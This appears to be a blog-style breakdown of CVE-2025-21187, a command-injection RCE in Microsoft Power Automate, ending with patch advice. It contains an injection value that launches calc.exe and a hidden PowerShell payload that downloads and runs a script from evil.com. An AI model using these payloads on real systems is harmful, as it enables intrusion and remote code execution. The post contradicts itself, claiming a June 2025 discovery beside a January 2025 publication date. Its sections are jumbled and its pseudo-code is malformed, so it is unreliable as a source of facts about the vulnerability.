CVE-2025-21187 - Inside Microsoft Power Automate’s Remote Code Execution Threat

On June 12, 2025, security researchers uncovered a serious vulnerability in Microsoft Power Automate, tracked as CVE-2025-21187. This remote code execution (RCE) flaw could allow attackers to run arbitrary code on targeted systems with the privileges of the service. In this exclusive, straightforward breakdown, we’ll explain how the vulnerability works, show you a code example, link the best official resources, and even demonstrate an exploit concept for educational purposes.

What Is Microsoft Power Automate?

Power Automate is Microsoft’s workflow automation tool integrated into Office 365, SharePoint, and various Azure resources. It helps users automate repetitive tasks across cloud and local systems, making it a prime target for attackers if improperly secured.

What Is CVE-2025-21187?

CVE-2025-21187 is a newly discovered vulnerability that impacts certain versions of Power Automate. The flaw exists due to improperly handled inputs in the workflow processing service. Specifically, an attacker can craft malicious input that escapes to the underlying OS, leading to arbitrary code execution.

Cloud Flows: all versions prior to June 2025 cumulative update

*(Check your version in Power Automate > Help > About)*

How Does the Exploit Work?

This RCE is triggered by injecting specially crafted expressions or payloads into automation flows that are executed by the Power Automate client or cloud components. When these are not correctly sanitized, the system executes commands as SYSTEM or with the user’s privileges.

Code Snippet — Proof-of-Concept (PoC)

🚨 Disclaimer: This demonstration is for educational awareness. Only test on systems you own or have permission to test.

Let’s look at a simple Power Automate Desktop script block vulnerable to this attack

# PowerShell script step in a Power Automate flow

# User input gets assigned to a variable
$userInput = "%USERINPUT%"

# Engineer meant to echo the user input, but missed input validation
Invoke-Expression "Write-Output $userInput"

If an attacker submits hello; Start-Process calc.exe,

it gets expanded to

Invoke-Expression "Write-Output hello; Start-Process calc.exe"

—causing the victim’s computer to launch the Calculator app (calc.exe).

If a workflow allows input injection

Payload:
$(Start-Process powershell -ArgumentList '-NoP','-w','Hidden','-c','IEX(New-Object Net.WebClient).DownloadString(''http://evil.com/payload.ps1'';)')

This enables attackers to download and run arbitrary scripts directly from the web.

How To Protect Yourself

- Patch immediately: Microsoft issued an advisory with critical updates. Install all patches for Power Automate as soon as possible.

Restrict who can author flows: Limit workflow authoring to trusted users only.

- Review flow permissions: Use this Microsoft guide to audit and restrict permissions.

Original References and Security Bulletin

- Microsoft Security Response Center Advisory – CVE-2025-21187
- Power Automate Documentation
- Security Baselines For Power Platform

Desktop Flows: Unsanitized PowerShell or cmd commands inside local flows.

2. Cloud Flows: Expressions using eval, concat, or custom connectors with user input passed directly to OS commands.

Here’s a conceptual *exploitation flow* in pseudo-code

// Imagine a Power Automate connector that runs
// a user-supplied command on the OS level

let input_cmd = getInput('Command');

// Unchecked, this could be exploited
exec(powershell -Command "${input_cmd}");

Conclusion

CVE-2025-21187 highlights the ongoing threat of unclear input validation in otherwise secure automation tools. With many organizations relying on Microsoft Power Automate, the attack surface is vast. Patch quickly, review your flows and inputs, educate your users, and monitor for suspicious workflow triggers.

Stay updated, and always secure your automation life!

References

- CVE-2025-21187 – Microsoft Security Guide
- Official Microsoft Power Automate Docs
- Power Automate Security Best Practices

Timeline

Published on: 01/14/2025 18:15:31 UTC
Last modified on: 02/21/2025 20:28:26 UTC